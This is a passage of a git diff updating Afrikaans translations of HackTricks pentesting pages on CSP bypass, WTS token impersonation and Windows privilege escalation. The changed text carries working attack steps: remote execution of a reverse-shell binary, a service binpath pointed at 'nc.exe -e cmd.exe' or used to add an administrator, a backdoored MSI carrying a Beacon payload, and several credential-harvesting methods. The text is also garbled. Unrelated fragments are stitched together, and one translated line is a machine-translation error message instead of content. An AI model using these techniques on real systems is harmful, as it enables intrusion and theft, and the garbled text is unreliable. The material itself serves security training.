Echter, **slegs `if1` en `if2` skripte gaan uitgevoer word, maar slegs `if1` sal toegang hê tot die ouer geheim**.
.png>)
-Daarom is dit moontlik om **'n CSP te omseil as jy 'n JS-lêer na die bediener kan oplaai en dit via iframe kan laai, selfs met `script-src 'none'`**. Dit kan **ook potensieel gedoen word deur 'n same-site JSONP-eindpunt te misbruik**.
+Daarom is dit moontlik om **'n CSP te omseil as jy 'n JS-lêer na die bediener kan oplaai en dit via iframe kan laai, selfs met `script-src 'none'`**. Dit kan **ook moontlik wees om 'n same-site JSONP-eindpunt te misbruik**.
Jy kan dit toets met die volgende scenario waar 'n koekie gesteel word selfs met `script-src 'none'`. Voer eenvoudig die toepassing uit en toegang dit met jou blaaier:
```python
@@ -127,8 +127,8 @@ Wanneer dit gebruik word, plaas die `sandbox` attribuut verskeie beperkings:
- Toegang tot sekere API's is gedeaktiveer.
- Dit verhoed dat skakels met ander blaai-kontekste interaksie het.
- Gebruik van plugins via `
| Windows Server 2016 |
| ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
diff --git a/src/windows-hardening/stealing-credentials/wts-impersonator.md b/src/windows-hardening/stealing-credentials/wts-impersonator.md
index 02f8f951f..1b95720b8 100644
--- a/src/windows-hardening/stealing-credentials/wts-impersonator.md
+++ b/src/windows-hardening/stealing-credentials/wts-impersonator.md
@@ -1,6 +1,6 @@
{{#include ../../banners/hacktricks-training.md}}
-Die **WTS Impersonator** hulpmiddel benut die **"\\pipe\LSM_API_service"** RPC Genoemde pyp om stilweg ingelogde gebruikers te tel en hul tokens te kapen, terwyl tradisionele Token Impersonation tegnieke omseil word. Hierdie benadering fasiliteer naatlose laterale bewegings binne netwerke. Die innovasie agter hierdie tegniek word toegeskryf aan **Omri Baso, wie se werk beskikbaar is op [GitHub](https://github.com/OmriBaso/WTSImpersonator)**.
+Die **WTS Impersonator** hulpmiddel benut die **"\\pipe\LSM_API_service"** RPC Genoemde pyp om stilweg ingelogde gebruikers te tel en hul tokens te kap, terwyl dit tradisionele Token Impersonation tegnieke omseil. Hierdie benadering fasiliteer naatlose laterale bewegings binne netwerke. Die innovasie agter hierdie tegniek word toegeskryf aan **Omri Baso, wie se werk beskikbaar is op [GitHub](https://github.com/OmriBaso/WTSImpersonator)**.
### Kernfunksionaliteit
@@ -10,13 +10,13 @@ WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken →
```
### Sleutelmodules en Gebruik
-- **Gebruikers Opname**: Plaaslike en afstandlike gebruikersopname is moontlik met die hulpmiddel, met die gebruik van opdragte vir enige van die scenario's:
+- **Gebruikers Opname**: Plaaslike en afstandlike gebruikersopname is moontlik met die hulpmiddel, met gebruik van opdragte vir enige van die scenario's:
- Plaaslik:
```powershell
.\WTSImpersonator.exe -m enum
```
-- Afstandlik, deur 'n IP-adres of gasheernaam te spesifiseer:
+- Afstandlik, deur 'n IP-adres of hostname te spesifiseer:
```powershell
.\WTSImpersonator.exe -m enum -s 192.168.40.131
```
@@ -39,7 +39,7 @@ WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken →
.\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
```
-- **Gebruiker Jag Module**: Teiken spesifieke gebruikers oor verskeie masjiene, wat kode onder hul kredensiale uitvoer. Dit is veral nuttig om Domein Administrators met plaaslike administratiewe regte op verskeie stelsels te teiken.
+- **Gebruiker Jag Module**: Teiken spesifieke gebruikers oor verskeie masjiene, wat kode onder hul akrediteerlinge uitvoer. Dit is veral nuttig om Domein Administrators met plaaslike administratiewe regte op verskeie stelsels te teiken.
- Gebruik voorbeeld:
```powershell
.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe
diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index 2c8038187..1ec7b2d2c 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -1,8 +1,8 @@
-# Windows Plaaslike Privilege Escalation
+# Windows Lokale Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
-### **Beste hulpmiddel om te soek na Windows plaaslike privilege escalatie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+### **Beste hulpmiddel om te soek na Windows lokale privilege escalatie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
## Begin Windows Teorie
@@ -32,7 +32,7 @@ integrity-levels.md
## Windows Sekuriteitsbeheer
-Daar is verskillende dinge in Windows wat jou kan **verhoed om die stelsel te evalueer**, uitvoerbare lêers te loop of selfs jou **aktiwiteite te ontdek**. Jy moet **lees** die volgende **bladsy** en **evalueer** al hierdie **verdedigings** **meganismes** voordat jy die privilege escalasie evaluering begin:
+Daar is verskillende dinge in Windows wat jou kan **verhoed om die stelsel te evalueer**, uitvoerbare lêers te loop of selfs jou **aktiwiteite te ontdek**. Jy moet die volgende **bladsy** lees en al hierdie **verdedigings** **meganismes** **evalueer** voordat jy die privilege escalasie evaluering begin:
{{#ref}}
../authentication-credentials-uac-and-efs/
@@ -42,7 +42,7 @@ Daar is verskillende dinge in Windows wat jou kan **verhoed om die stelsel te ev
### Weergawe-inligting evaluering
-Kyk of die Windows weergawe enige bekende kwesbaarheid het (kyk ook na die toegepaste regstellings).
+Kyk of die Windows weergawe enige bekende kwesbaarheid het (kyk ook na die toegepaste pille).
```bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@@ -79,7 +79,7 @@ Hierdie [site](https://msrc.microsoft.com/update-guide/vulnerability) is handig
### Omgewing
-Enige geloofsbriewe/juicy inligting wat in die omgewing veranderlikes gestoor is?
+Enige geloofsbriewe/lekke inligting wat in die omgewing veranderlikes gestoor is?
```bash
set
dir env:
@@ -158,7 +158,7 @@ Jy begin deur te kyk of die netwerk 'n nie-SSL WSUS-opdatering gebruik deur die
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
-As you have not provided any text to translate, please provide the relevant English text that you would like translated to Afrikaans.
+As you have not provided any text to translate, please provide the relevant English text for translation to Afrikaans.
```bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
@@ -180,7 +180,7 @@ Basies, dit is die fout wat hierdie fout benut:
> As ons die mag het om ons plaaslike gebruiker proxy te wysig, en Windows Updates die proxy gebruik wat in Internet Explorer se instellings geconfigureer is, het ons dus die mag om [PyWSUS](https://github.com/GoSecure/pywsus) plaaslik te loop om ons eie verkeer te onderskep en kode as 'n verhoogde gebruiker op ons bates te loop.
>
-> Verder, aangesien die WSUS-diens die huidige gebruiker se instellings gebruik, sal dit ook sy sertifikaatwinkel gebruik. As ons 'n self-onderteken sertifikaat vir die WSUS-hostnaam genereer en hierdie sertifikaat in die huidige gebruiker se sertifikaatwinkel voeg, sal ons in staat wees om beide HTTP en HTTPS WSUS-verkeer te onderskep. WSUS gebruik geen HSTS-agtige meganismes om 'n trust-on-first-use tipe validasie op die sertifikaat te implementeer nie. As die sertifikaat wat aangebied word deur die gebruiker vertrou word en die korrekte hostnaam het, sal dit deur die diens aanvaar word.
+> Verder, aangesien die WSUS-diens die huidige gebruiker se instellings gebruik, sal dit ook sy sertifikaatwinkel gebruik. As ons 'n self-onderteken sertifikaat vir die WSUS-hostnaam genereer en hierdie sertifikaat in die huidige gebruiker se sertifikaatwinkel voeg, sal ons in staat wees om beide HTTP en HTTPS WSUS-verkeer te onderskep. WSUS gebruik geen HSTS-agtige meganismes om 'n trust-on-first-use tipe validasie op die sertifikaat te implementeer nie. As die sertifikaat wat aangebied word vertrou word deur die gebruiker en die korrekte hostnaam het, sal dit deur die diens aanvaar word.
Jy kan hierdie kwesbaarheid benut met die gereedskap [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (sodra dit bevry is).
@@ -208,7 +208,7 @@ As jy 'n meterpreter-sessie het, kan jy hierdie tegniek outomaties uitvoer met d
### PowerUP
-Gebruik die `Write-UserAddMSI` opdrag van power-up om binne die huidige gids 'n Windows MSI-binary te skep om voorregte te verhoog. Hierdie skrip skryf 'n vooraf-gecompileerde MSI-installer wat vra vir 'n gebruiker/groep toevoeging (so jy sal GIU-toegang nodig hê):
+Gebruik die `Write-UserAddMSI` opdrag van power-up om binne die huidige gids 'n Windows MSI-binary te skep om voorregte te verhoog. Hierdie skrip skryf 'n vooraf saamgestelde MSI-installer wat vra vir 'n gebruiker/groep toevoeging (so jy sal GIU-toegang nodig hê):
```
Write-UserAddMSI
```
@@ -234,12 +234,12 @@ create-msi-with-wix.md
- Maak **Visual Studio** oop, kies **Skep 'n nuwe projek** en tik "installer" in die soekboks. Kies die **Setup Wizard** projek en klik **Volgende**.
- Gee die projek 'n naam, soos **AlwaysPrivesc**, gebruik **`C:\privesc`** vir die ligging, kies **plaas oplossing en projek in dieselfde gids**, en klik **Skep**.
- Hou aan om **Volgende** te klik totdat jy by stap 3 van 4 kom (kies lêers om in te sluit). Klik **Voeg by** en kies die Beacon payload wat jy pas gegenereer het. Klik dan op **Voltooi**.
-- Beklemtoon die **AlwaysPrivesc** projek in die **Solution Explorer** en in die **Properties**, verander **TargetPlatform** van **x86** na **x64**.
+- Beklemtoon die **AlwaysPrivesc** projek in die **Solution Explorer** en in die **Eienskappe**, verander **TargetPlatform** van **x86** na **x64**.
- Daar is ander eienskappe wat jy kan verander, soos die **Skrywer** en **Fabrikant** wat die geïnstalleerde app meer wettig kan laat lyk.
-- Regsklik op die projek en kies **View > Custom Actions**.
-- Regsklik op **Install** en kies **Voeg Aangepaste Aksie by**.
-- Dubbelklik op **Application Folder**, kies jou **beacon.exe** lêer en klik **OK**. Dit sal verseker dat die beacon payload uitgevoer word sodra die installer gedraai word.
-- Onder die **Custom Action Properties**, verander **Run64Bit** na **True**.
+- Regsklik op die projek en kies **Kyk > Aangepaste Aksies**.
+- Regsklik op **Installeer** en kies **Voeg Aangepaste Aksie by**.
+- Dubbelklik op **Toepassing Gids**, kies jou **beacon.exe** lêer en klik **OK**. Dit sal verseker dat die beacon payload uitgevoer word sodra die installer gedraai word.
+- Onder die **Aangepaste Aksie Eienskappe**, verander **Run64Bit** na **Waar**.
- Laastens, **bou dit**.
- As die waarskuwing `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` vertoon word, maak seker jy stel die platform op x64.
@@ -251,7 +251,7 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```
Om hierdie kwesbaarheid te benut, kan jy gebruik maak van: _exploit/windows/local/always_install_elevated_
-## Antivirus en Detektore
+## Antivirus en Detectors
### Ouditinstellings
@@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
-**LAPS** is ontwerp vir die **bestuur van plaaslike Administrateur wagwoorde**, wat verseker dat elke wagwoord **uniek, ewekansig, en gereeld opgedateer** word op rekenaars wat aan 'n domein gekoppel is. Hierdie wagwoorde word veilig binne Active Directory gestoor en kan slegs deur gebruikers wat voldoende regte deur ACLs toegeken is, toegang verkry, wat hulle toelaat om plaaslike admin wagwoorde te sien indien gemagtig.
+**LAPS** is ontwerp vir die **bestuur van plaaslike Administrateur wagwoorde**, wat verseker dat elke wagwoord **uniek, ewekansig, en gereeld opgedateer** word op rekenaars wat aan 'n domein gekoppel is. Hierdie wagwoorde word veilig gestoor binne Active Directory en kan slegs deur gebruikers wat voldoende regte deur ACLs toegeken is, toegang verkry, wat hulle toelaat om plaaslike admin wagwoorde te sien indien gemagtig.
{{#ref}}
../active-directory-methodology/laps.md
@@ -282,14 +282,14 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
```
### LSA-beskerming
-Begin met **Windows 8.1**, het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsowerheid (LSA) bekendgestel om pogings deur onbetroubare prosesse te **blokkeer** om **sy geheue** te **lees** of kode in te spuit, wat die stelsel verder beveilig.\
+Beginning met **Windows 8.1**, het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsowerheid (LSA) bekendgestel om **te blokkeer** pogings deur onbetroubare prosesse om **sy geheue** te **lees** of kode in te spuit, wat die stelsel verder beveilig.\
[**Meer inligting oor LSA-beskerming hier**](../stealing-credentials/credentials-protections.md#lsa-protection).
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```
-### Credentials Guard
+### Kredensiaalwag
-**Credential Guard** is in **Windows 10** bekendgestel. Die doel daarvan is om die geloofsbriewe wat op 'n toestel gestoor is, te beskerm teen bedreigings soos pass-the-hash-aanvalle.| [**Meer inligting oor Credentials Guard hier.**](../stealing-credentials/credentials-protections.md#credential-guard)
+**Kredensiaalwag** is in **Windows 10** bekendgestel. Die doel daarvan is om die kredensiale wat op 'n toestel gestoor is, te beskerm teen bedreigings soos pass-the-hash-aanvalle.| [**Meer inligting oor Kredensiaalwag hier.**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
@@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
### Som gebruikers & groepe op
-Jy moet nagaan of enige van die groepe waartoe jy behoort interessante regte het
+Jy moet kyk of enige van die groepe waartoe jy behoort interessante regte het
```bash
# CMD
net users %username% #Me
@@ -321,7 +321,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### Bevoorregte groepe
-As jy **tot 'n paar bevoorregte groep behoort, mag jy in staat wees om voorregte te verhoog**. Leer oor bevoorregte groepe en hoe om hulle te misbruik om voorregte te verhoog hier:
+As jy **tot 'n paar bevoorregte groep behoort, mag jy in staat wees om voorregte te verhoog**. Leer meer oor bevoorregte groepe en hoe om hulle te misbruik om voorregte te verhoog hier:
{{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md
@@ -330,7 +330,7 @@ As jy **tot 'n paar bevoorregte groep behoort, mag jy in staat wees om voorregte
### Token manipulasie
**Leer meer** oor wat 'n **token** is op hierdie bladsy: [**Windows Tokens**](../authentication-credentials-uac-and-efs/#access-tokens).\
-Kyk na die volgende bladsy om **oor interessante tokens te leer** en hoe om hulle te misbruik:
+Kyk na die volgende bladsy om **meer te leer oor interessante tokens** en hoe om hulle te misbruik:
{{#ref}}
privilege-escalation-abusing-tokens.md
@@ -354,7 +354,7 @@ net accounts
```bash
powershell -command "Get-Clipboard"
```
-## Hardloopproses
+## Hardloopprosesse
### Lêer- en Gidspermitte
@@ -370,9 +370,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
-Kontroleer altyd vir moontlike [**electron/cef/chromium debuggers** wat loop, jy kan dit misbruik om privaathede te verhoog](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
+Kontroleer altyd vir moontlike [**electron/cef/chromium debuggers** wat loop, jy kan dit misbruik om privilige te verhoog](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
-**Kontroleer toestemmings van die prosesse se binaire**
+**Kontroleer toestemmings van die prosesse se binaire lêers**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
@@ -381,7 +381,7 @@ icacls "%%z"
)
)
```
-**Kontroleer toestemmings van die vouers van die prosesse se binaire lêers (**[**DLL Hijacking**](dll-hijacking/)**)**
+**Kontroleer toestemmings van die vouers van die prosesse se binêre (**[**DLL Hijacking**](dll-hijacking/)**)**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@@ -391,7 +391,7 @@ todos %username%" && echo.
```
### Geheue Wagwoord mynbou
-Jy kan 'n geheue-dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP het die **bewyse in duidelike teks in geheue**, probeer om die geheue te dump en lees die bewese.
+Jy kan 'n geheue-dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP het die **bewyse in duidelike teks in geheue**, probeer om die geheue te dump en die bewese te lees.
```bash
procdump.exe -accepteula -ma
```
@@ -449,7 +449,7 @@ sc.exe config usosvc start= auto
```
### **Wysig diens binaire pad**
-In die scenario waar die "Geverifieerde gebruikers" groep **SERVICE_ALL_ACCESS** op 'n diens het, is dit moontlik om die diens se uitvoerbare binaire te wysig. Om **sc** te wysig en uit te voer:
+In die scenario waar die "Geoutentiseerde gebruikers" groep **SERVICE_ALL_ACCESS** op 'n diens besit, is dit moontlik om die diens se uitvoerbare binaire te wysig. Om **sc** te wysig en uit te voer:
```bash
sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config binpath= "net localgroup administrators username /add"
@@ -507,7 +507,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t RE
```
### Dienste registrasie AppendData/AddSubdirectory toestemmings
-As jy hierdie toestemming oor 'n registrasie het, beteken dit **jy kan sub registrasies van hierdie een skep**. In die geval van Windows dienste is dit **genoeg om willekeurige kode uit te voer:**
+As jy hierdie toestemming oor 'n registrasie het, beteken dit **jy kan sub registrasies van hierdie een skep**. In die geval van Windows dienste is dit **genoeg om arbitrêre kode uit te voer:**
{{#ref}}
appenddata-addsubdirectory-permission-over-service-registry.md
@@ -549,13 +549,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
```
### Herstelaksies
-Windows laat gebruikers toe om aksies spesifiek aan te dui wat geneem moet word as 'n diens misluk. Hierdie funksie kan geconfigureer word om na 'n binêre te verwys. As hierdie binêre vervangbaar is, mag privaatheidsverhoging moontlik wees. Meer besonderhede kan gevind word in die [amptelike dokumentasie]().
+Windows laat gebruikers toe om aksies spesifiek aan te dui wat geneem moet word as 'n diens misluk. Hierdie funksie kan geconfigureer word om na 'n binêre te verwys. As hierdie binêre vervangbaar is, mag privilige-escalasie moontlik wees. Meer besonderhede kan gevind word in die [amptelike dokumentasie]().
## Toepassings
### Gemonteerde Toepassings
-Kontroleer **toestemmings van die binêre** (miskien kan jy een oorskryf en privaatheidsverhoging bewerkstellig) en van die **mappies** ([DLL Hijacking](dll-hijacking/)).
+Kontroleer **toestemmings van die binêre** (miskien kan jy een oorskryf en privilige verhoog) en van die **mappes** ([DLL Hijacking](dll-hijacking/)).
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@@ -666,14 +666,14 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Meer[ opdragte vir netwerk enumerasie hier](../basic-cmd-for-pentesters.md#network)
-### Windows Subsystem for Linux (wsl)
+### Windows Subsystem vir Linux (wsl)
```bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
```
Binêre `bash.exe` kan ook gevind word in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
-As jy root gebruiker kry, kan jy op enige poort luister (die eerste keer dat jy `nc.exe` gebruik om op 'n poort te luister, sal dit via GUI vra of `nc` deur die firewall toegelaat moet word).
+As jy root gebruiker kry, kan jy op enige poort luister (die eerste keer wat jy `nc.exe` gebruik om op 'n poort te luister, sal dit via GUI vra of `nc` deur die firewall toegelaat moet word).
```bash
wsl whoami
./ubuntun1604.exe config --default-user root
@@ -682,7 +682,7 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
Om maklik bash as root te begin, kan jy probeer `--default-user root`
-Jy kan die `WSL` lêerstelsel verken in die gids `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`
+Jy kan die `WSL` lêerstelsel in die gids `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` verken
## Windows Kredensiale
@@ -701,7 +701,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### Kredensiaalbestuurder / Windows-kluis
Van [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
-Die Windows-kluis stoor gebruikerskredensiale vir bedieners, webwerwe en ander programme wat **Windows** kan **gebruik om die gebruikers outomaties aan te meld**. Op die eerste oogopslag mag dit lyk asof gebruikers hul Facebook-kredensiale, Twitter-kredensiale, Gmail-kredensiale ens. kan stoor, sodat hulle outomaties via blaaiers kan aanmeld. Maar dit is nie so nie.
+Die Windows-kluis stoor gebruikerskredensiale vir bedieners, webwerwe en ander programme wat **Windows** kan **gebruik om die gebruikers outomaties aan te meld**. Op die eerste oogopslag mag dit lyk asof gebruikers hul Facebook-kredensiale, Twitter-kredensiale, Gmail-kredensiale, ens. kan stoor, sodat hulle outomaties via blaaiers kan aanmeld. Maar dit is nie so nie.
Windows-kluis stoor kredensiale wat Windows kan gebruik om die gebruikers outomaties aan te meld, wat beteken dat enige **Windows-toepassing wat kredensiale benodig om toegang tot 'n hulpbron** (bediener of 'n webwerf) **hierdie Kredensiaalbestuurder** & Windows-kluis kan gebruik en die verskafde kredensiale kan gebruik in plaas daarvan dat gebruikers die gebruikersnaam en wagwoord heeltyd invoer.
@@ -727,11 +727,11 @@ Let wel dat mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util
### DPAPI
-Die **Data Protection API (DPAPI)** bied 'n metode vir simmetriese versleuteling van data, hoofsaaklik gebruik binne die Windows-bedryfstelsel vir die simmetriese versleuteling van asimmetriese privaat sleutels. Hierdie versleuteling maak gebruik van 'n gebruiker of stelsels geheim om aansienlik by te dra tot entropie.
+Die **Data Protection API (DPAPI)** bied 'n metode vir simmetriese versleuteling van data, wat hoofsaaklik binne die Windows-bedryfstelsel gebruik word vir die simmetriese versleuteling van asimmetriese privaat sleutels. Hierdie versleuteling benut 'n gebruiker of stelsels geheim om aansienlik by te dra tot entropie.
**DPAPI stel die versleuteling van sleutels in staat deur 'n simmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime**. In scenario's wat stelsels versleuteling betrek, gebruik dit die stelsels domeinverifikasie geheime.
-Versleutelde gebruiker RSA sleutels, deur gebruik te maak van DPAPI, word gestoor in die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar `{SID}` die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) verteenwoordig. **Die DPAPI-sleutel, wat saam met die meester sleutel wat die gebruiker se privaat sleutels in dieselfde lêer beskerm, geleë is**, bestaan tipies uit 64 bytes van ewekansige data. (Dit is belangrik om op te let dat toegang tot hierdie gids beperk is, wat verhoed dat die inhoud daarvan gelys kan word via die `dir` opdrag in CMD, alhoewel dit gelys kan word deur PowerShell).
+Versleutelde gebruiker RSA sleutels, deur die gebruik van DPAPI, word gestoor in die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar `{SID}` die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) verteenwoordig. **Die DPAPI-sleutel, wat saam met die meester sleutel wat die gebruiker se privaat sleutels in dieselfde lêer beskerm, geleë is**, bestaan tipies uit 64 bytes van ewekansige data. (Dit is belangrik om te noem dat toegang tot hierdie gids beperk is, wat verhoed dat die inhoud daarvan gelys kan word via die `dir` opdrag in CMD, alhoewel dit gelys kan word deur PowerShell).
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
@@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
### PowerShell Kredensiale
-**PowerShell kredensiale** word dikwels gebruik vir **scripting** en outomatisering take as 'n manier om versleutelde kredensiale gerieflik te stoor. Die kredensiale word beskerm met **DPAPI**, wat tipies beteken dat dit slegs deur dieselfde gebruiker op dieselfde rekenaar waar dit geskep is, gedekript kan word.
+**PowerShell kredensiale** word dikwels gebruik vir **scripting** en outomatisering take as 'n manier om versleutelde kredensiale gerieflik te stoor. Die kredensiale word beskerm deur **DPAPI**, wat tipies beteken dat dit slegs deur dieselfde gebruiker op dieselfde rekenaar waar dit geskep is, gedekript kan word.
Om 'n PS kredensiaal uit die lêer wat dit bevat te **dekripteer**, kan u doen:
```powershell
@@ -884,7 +884,7 @@ $ErrorActionPreference = $OrigError
### SCClient / SCCM
Kontroleer of `C:\Windows\CCM\SCClient.exe` bestaan.\
-Installeerders word **met SYSTEM-regte** uitgevoer, baie is kwesbaar vir **DLL Sideloading (Inligting van** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
+Installeerders word **met SYSTEM regte** uitgevoer, baie is kwesbaar vir **DLL Sideloading (Inligting van** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
```bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
@@ -909,12 +909,12 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
As jy enige inskrywing binne daardie pad vind, sal dit waarskynlik 'n gestoor SSH-sleutel wees. Dit word versleuteld gestoor, maar kan maklik ontcijfer word met behulp van [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
Meer inligting oor hierdie tegniek hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
-As die `ssh-agent` diens nie loop nie en jy wil hê dit moet outomaties by opstart begin, voer die volgende uit:
+As die `ssh-agent` diens nie loop nie en jy wil hê dit moet outomaties begin by opstart, voer in:
```bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
> [!NOTE]
-> Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om 'n paar ssh sleutels te skep, dit by te voeg met `ssh-add` en via ssh na 'n masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van `dpapi.dll` tydens die asimmetriese sleutelverifikasie geïdentifiseer.
+> Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om 'n paar ssh sleutels te skep, hulle by te voeg met `ssh-add` en via ssh in te log op 'n masjien. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van `dpapi.dll` tydens die asymmetriese sleutelverifikasie geïdentifiseer nie.
### Onbewaakte lêers
```
@@ -1139,9 +1139,9 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
```
### Kredensiale in die Herwinningsblik
-Jy moet ook die Blik nagaan om na kredensiale daarin te soek.
+Jy moet ook die Blik nagaan om te kyk vir kredensiale daarin
-Om **wagwoorde** wat deur verskeie programme gestoor is, te herstel, kan jy gebruik maak van: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
+Om **wagwoorde** wat deur verskeie programme gestoor is te herstel, kan jy gebruik maak van: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
### Binne die registrasie
@@ -1154,9 +1154,9 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
```
[**Onttrek openssh sleutels uit die registrasie.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
-### Bladsygeskiedenis
+### Blaaiers Geskiedenis
-Jy moet kyk vir dbs waar wagwoorde van **Chrome of Firefox** gestoor word.\
+Jy moet kyk vir dbs waar wagwoorde van **Chrome of Firefox** gestoor is.\
Kyk ook na die geskiedenis, boekmerke en gunstelinge van die blaaiers sodat dalk sommige **wagwoorde is** daar gestoor.
Gereedskap om wagwoorde uit blaaiers te onttrek:
@@ -1168,11 +1168,11 @@ Gereedskap om wagwoorde uit blaaiers te onttrek:
### **COM DLL Oorskrywing**
-**Component Object Model (COM)** is 'n tegnologie wat binne die Windows-bedryfstelsel gebou is wat **interkommunikasie** tussen sagtewarekomponente van verskillende tale toelaat. Elke COM-komponent word **geïdentifiseer deur 'n klas ID (CLSID)** en elke komponent stel funksionaliteit bloot deur een of meer interfaces, geïdentifiseer deur interface IDs (IIDs).
+**Component Object Model (COM)** is 'n tegnologie wat binne die Windows-bedryfstelsel gebou is wat **onderlinge kommunikasie** tussen sagtewarekomponente van verskillende tale toelaat. Elke COM-komponent is **geïdentifiseer deur 'n klas ID (CLSID)** en elke komponent stel funksionaliteit bloot deur een of meer interfaces, geïdentifiseer deur interface IDs (IIDs).
COM klasse en interfaces word in die registrasie onder **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** en **HKEY\_**_**CLASSES\_**_**ROOT\Interface** onderskeidelik gedefinieer. Hierdie registrasie word geskep deur die **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
